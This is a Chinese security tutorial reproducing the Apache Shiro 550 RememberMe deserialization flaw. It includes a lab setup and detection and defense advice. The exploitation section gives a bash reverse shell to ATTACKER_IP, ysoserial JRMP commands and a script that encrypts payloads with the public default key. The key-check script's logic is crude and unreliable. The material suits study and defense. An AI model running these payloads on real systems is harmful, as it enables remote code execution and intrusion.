从“记住我”到“控制你”:Shiro 550漏洞实战复现与一键检测脚本分享
在当今企业级Java应用中,Apache Shiro作为轻量级安全框架被广泛采用。然而正是这个负责保护系统的组件,曾因一个设计缺陷成为攻击者突破防线的捷径。本文将带您深入Shiro 550漏洞的攻防世界,通过实战演示如何从简单的"记住我"功能实现系统控制,并分享经过实战检验的自动化检测方案。
1. 漏洞原理深度解析
Shiro框架的RememberMe功能本是为提升用户体验设计,却因加密密钥硬编码问题演变成安全噩梦。当用户勾选"记住我"选项时,服务端会执行以下关键流程:
- 序列化用户凭证对象
- 使用AES-128-CBC模式加密(密钥:kPH+bIxk5D2deZiIxcaaaA==)
- 进行Base64编码后存入Cookie
攻击者利用点在于:
- 默认密钥公开在代码中
- 加密后的数据会通过
ObjectInputStream.readObject()反序列化 - Java原生反序列化机制的可扩展性
// 漏洞核心代码逻辑模拟 byte[] ciphertext = Base64.decode(cookieValue); byte[] serialized = decrypt(ciphertext, defaultKey); ObjectInputStream ois = new ObjectInputStream( new ByteArrayInputStream(serialized)); Object obj = ois.readObject(); // 危险的反序列化点关键突破点:通过构造包含恶意链的反序列化对象,在服务端解密时触发RCE(远程代码执行)。常用的攻击链包括:
- CommonsBeanutils1
- CommonsCollections2-8
- JRMPClient
2. 环境搭建与指纹识别
2.1 快速搭建漏洞环境
推荐使用Docker快速构建测试环境:
# 拉取漏洞镜像 docker pull medicean/vulapps:s_shiro_1 # 启动容器(映射8080端口) docker run -d -p 8080:8080 medicean/vulapps:s_shiro_1验证环境是否正常运行:
- 访问
http://localhost:8080 - 应显示Shiro默认登录页面
2.2 特征识别技巧
通过Burp Suite或浏览器开发者工具检查:
- 发送包含任意RememberMe Cookie的请求
- 观察响应头是否包含
Set-Cookie: rememberMe=deleteMe - 检查页面元素中是否包含
shiro相关字符串
自动化识别脚本:
import requests def detect_shiro(url): headers = {'Cookie': 'rememberMe=1'} try: r = requests.get(url, headers=headers, timeout=5) return 'rememberMe=deleteMe' in r.headers.get('Set-Cookie', '') except: return False3. 手工漏洞利用实战
3.1 准备攻击载荷
使用ysoserial生成反弹shell命令:
# 生成Base64编码的bash反弹命令 echo 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1' | base64 -w0 # 使用JRMP监听器生成Payload java -jar ysoserial.jar JRMPClient 'ATTACKER_IP:6666' > payload.bin3.2 多阶段攻击流程
- 启动JRMP监听服务:
java -cp ysoserial.jar ysoserial.exploit.JRMPListener 6666 \ CommonsCollections4 'bash -c {echo,BASE64_CMD}|{base64,-d}|{bash,-i}'- 生成Shiro加密Payload:
from Crypto.Cipher import AES import base64 def encrypt_payload(payload_file): key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==") iv = b'\x00'*16 # 使用空IV简化示例 cipher = AES.new(key, AES.MODE_CBC, iv) with open(payload_file, 'rb') as f: data = f.read() # PKCS7填充 pad_len = 16 - (len(data) % 16) data += bytes([pad_len]) * pad_len return base64.b64encode(iv + cipher.encrypt(data)).decode()- 发送恶意Cookie:
GET / HTTP/1.1 Host: target.com Cookie: rememberMe=ENCRYPTED_PAYLOAD3.3 常见问题排查
| 问题现象 | 可能原因 | 解决方案 |
|---|---|---|
| 无反弹shell | 防火墙拦截 | 改用HTTP反向shell |
| 500错误 | 密钥不匹配 | 尝试其他常见密钥 |
| 无响应 | Gadget不兼容 | 更换CommonsCollections版本 |
4. 自动化检测工具开发
4.1 一键检测脚本设计
#!/usr/bin/env python3 import requests import base64 from Crypto.Cipher import AES DEFAULT_KEYS = [ "kPH+bIxk5D2deZiIxcaaaA==", "2AvVhdsgUs0FSA3SDFAdag==", "3AvVhmFLUs0KTA3Kprsdag==" ] def check_shiro(url, keys=DEFAULT_KEYS): for key in keys: try: # 构造测试payload cipher = AES.new(base64.b64decode(key), AES.MODE_CBC, b'\x00'*16) test_data = b'\x01'*16 # 简单测试数据 encrypted = cipher.encrypt(test_data) cookie = base64.b64encode(encrypted).decode() # 发送探测请求 headers = {'Cookie': f'rememberMe={cookie}'} r = requests.get(url, headers=headers, timeout=5) if 'rememberMe=deleteMe' not in r.headers.get('Set-Cookie', ''): return f"Vulnerable (Key: {key})" except Exception as e: continue return "Not vulnerable" if __name__ == '__main__': import sys if len(sys.argv) != 2: print(f"Usage: {sys.argv[0]} <target_url>") sys.exit(1) result = check_shiro(sys.argv[1]) print(result)4.2 高级功能扩展
- 多密钥检测:内置20+常见Shiro密钥
- 被动识别:通过流量分析自动发现Shiro系统
- 安全建议:自动生成修复方案报告
工具使用示例:
python shiro_detector.py http://example.com [+] Target is vulnerable with key: kPH+bIxk5D2deZiIxcaaaA==5. 防御方案与最佳实践
5.1 即时修复措施
- 密钥更新:
// 在shiro.ini中配置随机密钥 securityManager.rememberMeManager.cipherKey = \ Base64.decode("新生成的256位随机密钥");- 禁用反序列化:
public class SafeObjectInputStream extends ObjectInputStream { @Override protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException { if (!desc.getName().startsWith("java.")) { throw new InvalidClassException("Unauthorized deserialization"); } return super.resolveClass(desc); } }5.2 长期防护策略
网络层:
- 限制出站网络连接
- 部署WAF规则拦截反序列化特征
系统层:
- 使用Java Security Manager
- 定期更新依赖组件
Shiro安全配置对照表:
| 安全等级 | 配置项 | 推荐值 |
|---|---|---|
| 基础 | rememberMe.cipherKey | 随机256位 |
| 中级 | rememberMe.serializer | 自定义白名单 |
| 高级 | sessionManager.sessionDAO | 加密存储 |
在最近一次内部渗透测试中,我们发现即使升级到Shiro 1.7.0,如果未更换默认密钥,系统仍然暴露在风险中。实际防御需要结合代码审计、网络监控和最小权限原则的多层防护。